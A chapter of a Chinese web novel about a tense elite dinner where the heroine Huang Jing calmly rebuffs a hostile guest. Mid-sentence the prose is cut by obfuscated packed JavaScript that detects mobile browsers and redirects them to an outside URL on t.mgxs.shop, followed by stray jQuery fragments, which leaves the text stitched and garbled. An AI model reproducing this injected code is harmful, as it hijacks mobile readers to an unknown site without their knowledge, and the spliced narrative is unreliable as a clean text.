这个局比黄晶想象中大得多。但宋既明组局向来如此,说是“随便吃个便饭”,实际上京圈叫得上名的年轻一辈来了大半。今晚到场的人,随便拎出来一个,背后都是盘根错节的家族与关系。
包厢里很热闹,靠窗的沙发区坐了几个人,正低声说着话;长桌旁已经摆好了冷盘,服务生正往杯子里倒茶。见黄晶被段恣意拉进来,一屋子人的目光便陆陆续续投了过来,有的直接,有的含蓄,但谁都没先开口。
裴钧和温以晴在一边低声说话,见到裴砚进来,裴钧先挑了挑眉,目光落在他拎着的那袋桃子上,笑了一下,到底没说什么,只朝黄晶点了点头,态度温和。
温以晴也微微笑着,看向黄晶的眼神带着点打量,但没让那打量显得冒犯。
段弗许果然也在。他坐在角落里,手边放着杯清茶,看黄晶坐下,只略一颔首。
霍云峥坐在主位旁,正侧头听宋既明说话。见黄晶进来,他抬头看了一眼,目光在她和裴砚交握的手上停了一瞬,然后淡淡点了点头。
陈秉节坐在宋既明另一边,端着杯茶,笑吟吟地看向门口,显然对黄晶很感兴趣。
叶行舟靠窗坐着,正跟司屿川说些什么。
司屿川是靳司表弟,今晚靳司没来,但他来了,这本身就是一种信号。司屿川此人话不多,但存在感很强,他微微偏过头,目光从黄晶身上轻轻掠过,带着几分审视,又不动声色地收了回去。
顾景熠坐在叶行舟旁边,见到黄晶,似乎也笑了一下,态度客气而疏淡。
陆谦仍是那副温文尔雅的模样,他坐在稍远一点的位置,和几个纨绔在低声说笑,见裴砚进来,抬了抬酒杯,算是打过招呼。
今晚这场合,明面是为端午小聚,实则每个人心里都有自己的一杆秤。但黄晶并不在乎,她对那些招呼一一回以点头,目光没怎么乱扫,只是安静地由段恣意牵着。
不过黄晶刚坐下,就听见有人小声议论,说靳北今天本来也要来,临时被他哥叫去陪封家那边的人了。苏衍之也没露面,旁边的人笑着提了句“衍之哥今晚没空,不然指定要过来看看”。林净澜倒是来了,眼神在黄晶脸上停了几秒,又移开。
魏驰风一身黑衬衫,坐姿随意,正转着酒杯,嘴角带着点若有若无的笑。他看见黄晶时,没有像上次在医院那样咄咄逼人,反而挑了挑眉,像在说:又见面了。
黄晶看到了,敷衍的点点了头,随后垂着眼给自己倒了杯茶。
真正让气氛微妙起来的是梁佩诗。白色西装裙,黑发红唇,往那一坐,像极了一个不好惹的战士。她是林书蕴最好的朋友,也是圈子里出了名的凭自己本事吃饭的女人,最看不惯依附他人、尤其是依靠男人而活的人。
梁佩诗靠在椅背上,抱臂打量着黄晶,神情淡淡的,眼底压着几分说不上来的情绪。
她不讨厌裴砚,只是对这个能让裴砚拒了林书蕴的女生有些微妙的不爽,尤其是听说黄晶目前没有正式工作,还住在裴砚那里,更觉得这女孩不像她欣赏的那类独立女性。此刻见黄晶那副乖乖巧巧、不争不抢的样子,她在心里冷哼一声,暗道一句“倒挺会装乖”。
于是在黄晶落座后不久,梁佩诗就笑着对宋既明说了句:“你今晚这局,倒是把新面孔都请来了。”说着,目光不轻不重地落在黄晶身上。
宋既明端着茶,笑得温润:“新面孔也分有意思和没意思。这位,我倒觉得有意思。”
梁佩诗嗤笑一声:“那得看看再说。”
陈秉节在旁笑着打圆场:“既明看人一向准。”
段恣意不悦地小声嘟囔:“怎么搞得跟三堂会审一样。”被段弗许在桌下轻踢了一下。
黄晶坐在裴砚旁边,手指轻轻拨着腕上的茉莉手串,脸上的表情很淡,像什么都没听见。
崔问君坐在梁佩诗旁边,她今晚穿着件剪裁利落的墨黑缎面衬衫,头发高高盘起,耳骨上两枚极细的银环在灯光下闪着冷光。
她端着酒杯,隔着半张桌子,目光毫不避讳地落在黄晶身上,随后与梁佩诗交换了个眼神。
过了会,崔问君靠着椅背,朝黄晶的方向抬了抬下巴,开口道:“我不喜欢你。”声音不大,却刚好能让周围人都听见。
整个包厢瞬间静了半秒。有人酒杯悬在唇边,有的不动声色地交换眼神。宋既明挑了挑眉,像看到了一出意料之外又情理之中的好戏。梁佩诗似笑非笑,低头用指尖轻轻弹了下杯沿。
但黄晶听到后,只抬眸看了说话那人一眼,轻轻地“哦”了一声,然后继续低头喝茶。
她这一声“哦”尾音拖得极短,几乎没什么情绪,却让崔问君的眉头几不可察地跳了一下。段恣意忍不住偷瞄黄晶,对她无波无澜的反应感到惊讶又暗爽。
但崔问君并不打算就这样被轻描淡写地揭过去。她冷笑了一下,语气更直白:“你就不问问我为什么不喜欢你?”
黄晶被她那架势逗乐了,浅浅笑了一下,从善如流地问:“为什么呢?”语调还有些欢快。
崔问君笑不出来。她最烦这种人,看着温吞无害,实则每一句都滑得像泥鳅。她挺了挺背,环顾了一眼四周,然后直视黄晶,毫不客气地说:“因为你没骨头。”
“你没工作、没背景、没能力,只会缩在男人身后当一株菟丝花,还偏偏摆出副与世无争的清高样。”
崔问君说完,特意补了一句:“我瞧不上。”
包厢里的气压骤降,连空气都像凝住了。段恣意倒吸一口凉气,正要开口,却被段弗许一把按住。
裴砚眼神彻底冷下去,几乎就要开口,黄晶却先一步把茶杯轻轻搁下,瓷器碰在玻璃转盘上,发出极轻的一声“嗒”。
黄晶没生气。她反而点了点头,嘴角仍带着点笑意,语气轻飘飘的:“你——瞧不瞧得上,很重要吗?”
说完黄晶状作思考,随即又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971914|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笑着摇了摇头:“好像不重要诶。”
崔问君的脸色这回彻底冷了下来。她出身好,能力也强,在圈子里素来被人捧着敬着,除了梁佩诗,还从没人这样当众下过她的脸。
她硬邦邦地说:“当然不重要。我只是好奇,你到底有什么本事,能让裴砚连林书蕴都不要,也要选你。”
黄晶听到这话立即抬手,食指比了个一,“打住。”
众人一怔,齐刷刷地看向她。
黄晶收回手,目光清亮,坦然直视着崔问君,语气随意却又带着不容分说的分量:“我本事确实不多,也就是早些认识了裴砚,也碰巧他和林小姐达成了共识,对长辈们的撮合都不感兴趣,所以才没了下文。”
说到这里,黄晶的语气终于透出一点冷意:“你什么情况都不清楚,就别在这儿臭我们三个的名声了,好吗?”
黄晶这话一出,崔问君的脸色彻底僵住了。她嘴唇翕动了一下,像是想反驳,却一时找不到话。
梁佩诗若有所思地看了黄晶一眼。林净澜抬了抬眼,似乎想说什么,又压下了。裴砚坐在一旁,唇角极轻地弯了一下。
最后崔问君吸了口气,勉强恢复了几分镇定:“我只是替书蕴不值。”
黄晶歪了下头,神情认真了些:“那你真该去问问林小姐,她需不需要你来替她不值?”说着她笑了一下:“说不定她这会儿比我们都轻松。”
这话不重,却正戳在点上。梁佩诗终于侧过脸,对崔问君低声道:“行了。”崔问君没再说话,只端起酒杯,不自然地抿了一口。
段恣意两眼发光,几乎要给黄晶鼓掌,被段弗许用眼神制止了。魏驰风眼神深了深,把玩着手中酒杯,不知在想什么。霍云峥转打火机的手停了一下,随后又继续。
这时,宋既明看够了戏,也终于出来打圆场。他刚才一直靠在主位旁的椅背里,把那串绕在小臂上的沉香手串慢慢转着,眼底带着点兴味。眼下见崔问君被黄晶三言两语说得骑虎难下,梁佩诗也不再帮腔,他才不紧不慢地笑了一声,抬手招来侍者给各人续茶,语气温温和和:“行了,都是朋友,第一次见面有点误会也正常。今晚是吃饭来的,不是来开辩论赛的。”
宋既明的目光越过众人,落在黄晶身上,带着点意味深长的欣赏:“黄小姐说话有点意思,有空多出来坐坐。”
他身边那几个人也配合着笑了几声,把气氛重新拢了回来。包厢里重新有了交谈声,好像刚才那段针锋相对只是饭局上一点无伤大雅的调剂。
段恣意也接过话头:“早该这样了嘛,来来来,吃菜吃菜。”她一边说,一边让人赶紧热菜上桌,又侧身给黄晶碗里夹了只虾,小声说:“你别理她们,她们就是嘴硬。”
黄晶弯眼笑了笑,没接话。
裴砚在桌下轻轻握住黄晶的手,拇指摩挲了一下她的手背。黄晶反手勾住他的小指,又微微侧头,朝他几不可察地眨了下眼。